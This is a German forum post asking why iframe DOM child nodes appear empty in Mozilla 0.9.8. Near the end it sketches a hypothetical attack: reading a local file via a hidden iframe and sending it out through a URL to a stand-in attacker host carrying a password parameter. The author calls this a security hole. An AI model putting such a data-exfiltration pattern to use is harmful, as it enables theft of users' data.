Hallo Zusammen,
Da habe ich mir mit Mühe und Not ein Iframe zusammengebastelt und beladen, will auf den Baum dort zugreifen und nix is ;-)
parent.frames[0].document.childNodes[0].childNodes[1].hasChildNodes()
behauptet steif und fest: false.
Das Frame ist das Richtige. (checked via parent.frames[0].name)
childNodes[0].nodeName ist "HTML".
childNodes[0].childNodes[1].nodeName ist "BODY"
Dort in "BODY" sind mit Sicherheit noch Childs. Ich habe ja schließlich auch Inhalt im IFrame, den kann ich begucken ;-)
Bis hierhin stimmt es also.
Oder doch nicht?
Kann natürlich auch am Browser liegen, ich habe z.Z. "nur" den Mozilla 0.9.8 zum ausprobieren von DHTML.
Allerdings ist es natürlich auch möglich, daß es mit Absicht nicht funktioniert. Immerhin ließe sich auf diese Weise allerhand Schabernack treiben:
Inhalt einer lokalen Datei in ein unsichtbares (display:none) IFrame schreiben.
Dort auslesen und noch ein unsichtbares IFrame/Img beladen mittels:
http://example.com/~Chracker/getData?passwort=12n23Iz...
Tja, böse Falle wäre das ;-)
Mmh...
Wenn ich es mir recht überlege, _darf_ so etwas gar nicht funktionieren und ich kann mir dieses Posting eigentlich sparen.
Mache den Thread aber trotzdem mal auf, vielleicht funktioniert es ja tatsächlich in irgendeinem Browser und wäre damit als ziemlich heftige Sicherheitslücke anzuprangern.
so short
Christoph Zurnieden